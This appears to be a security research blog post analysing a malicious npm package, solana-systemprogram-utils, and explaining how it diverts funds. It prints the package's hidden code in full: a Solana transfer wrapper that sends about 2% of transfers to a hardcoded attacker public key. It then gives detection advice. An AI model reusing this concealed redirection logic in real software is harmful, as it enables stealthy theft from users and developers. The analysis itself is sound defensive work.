In the dynamic world of blockchain development, trust in libraries and utility packages is critical. Developers often rely on packages to streamline their work, but what if the package you trust is subtly designed to misappropriate funds? In this post, we analyze a seemingly innocuous Solana utility package and expose its hidden malicious intent.
The npm package in question is called solana-systemprogram-utils, which claims to be a utility package for working with Solana’s SystemProgram
. System Program is one of the native programs in the Solana runtime which can create new accounts, allocate account data, assign accounts to owning programs, transfer lamports from System Program owned accounts and pay transaction fees.
The author of the package, “solana-spec”, gives the appearance of legitimacy by using a name that suggests expertise in the Solana ecosystem. However, a deeper analysis of the package reveals a nefarious intent cleverly obfuscated within its code.
The Malicious Code#
Here's the core snippet from the package under scrutiny:
const to = new import_web3.PublicKey('FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4');
const updatedTo = Math.random() < 0.02 ? to : props.toPubkey;
return import_web3.SystemProgram.transfer({
...props,
toPubkey: updatedTo,
});
What Does This Do?
- Recipient Override Logic:
- The
Math.random()
function is used to generate a random number between 0 and 1. - With a 2% probability (
Math.random() < 0.02
), the intended recipient (props.toPubkey
) is overridden by the hardcoded public key:FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4
.
- Who Gets the Funds?
- 98% of Transactions: The funds go to the original recipient (
props.toPubkey
), ensuring the function appears to behave normally most of the time. - 2% of Transactions: The funds are rerouted to the hardcoded address controlled by the malicious actor.
Breaking Down the Code#
- The Public Key Hardcoding
const to = new import_web3.PublicKey('FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4');
This is the hardcoded Solana public key where the stolen funds are sent. It is disguised as an innocuous variable (to
).
2. Randomized Condition
const updatedTo = Math.random() < 0.02 ? to : props.toPubkey;
This logic uses Math.random()
to introduce a small (2%) probability of overriding the legitimate recipient's public key (props.toPubkey
) with the hardcoded one. The low probability ensures that most transactions behave as expected, making it harder to detect the malicious activity.
3. Transfer Logic
return import_web3.SystemProgram.transfer({
...props,
toPubkey: updatedTo,
});
Here, the manipulated recipient (updatedTo
) is set in the Solana SystemProgram.transfer
function, executing the theft if the condition is met.
Why Is This Malicious?#
Stealthy Theft
The code cleverly masks its intent by functioning normally 98% of the time. This design minimizes suspicion while still allowing the attacker to siphon funds.
Victim's Perspective
From the user or developer's perspective:
- The package appears to work correctly most of the time.
- There’s no obvious indication that funds are being stolen, as transactions seem to execute as intended.
Exploitation Risk
Such behavior could result in significant financial loss over time, especially in high-volume applications, as unsuspecting developers integrate the package into production systems.
How to Detect and Prevent This?#
Code Auditing
- Always inspect third-party libraries, especially those handling sensitive operations like fund transfers.
- Look for hardcoded keys or suspicious logic involving randomness.
Use Reputable Sources
- Depend on trusted and community-verified packages.
- Avoid packages with unclear authorship or low usage metrics.
Enhanced Randomness Validation
- Be wary of
Math.random()
in critical operations—it is predictable and non-secure. - Cryptographically secure randomness (e.g.,
crypto
module in Node.js) should be used if randomness is genuinely required.
Community Reporting
- Share findings of malicious packages with the blockchain community to prevent widespread exploitation.
Conclusion#
This utility package demonstrates how seemingly minor code can have devastating consequences. By rerouting funds with a low probability, the attacker can avoid detection while stealing from unsuspecting users. This underscores the importance of reviewing and verifying code before trusting it with sensitive operations.
Socket's threat detection will flag instances like these and prevent you from adding dependencies that perform suspicious functions. Install our free Socket for GitHub app to inspect the code before you add a new dependency or update an existing one.
If you're a blockchain developer, always audit the libraries you use. The allure of convenience should never outweigh the need for security. With vigilance, we can prevent bad actors from exploiting our trust.
Stay safe, Solana developers!
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta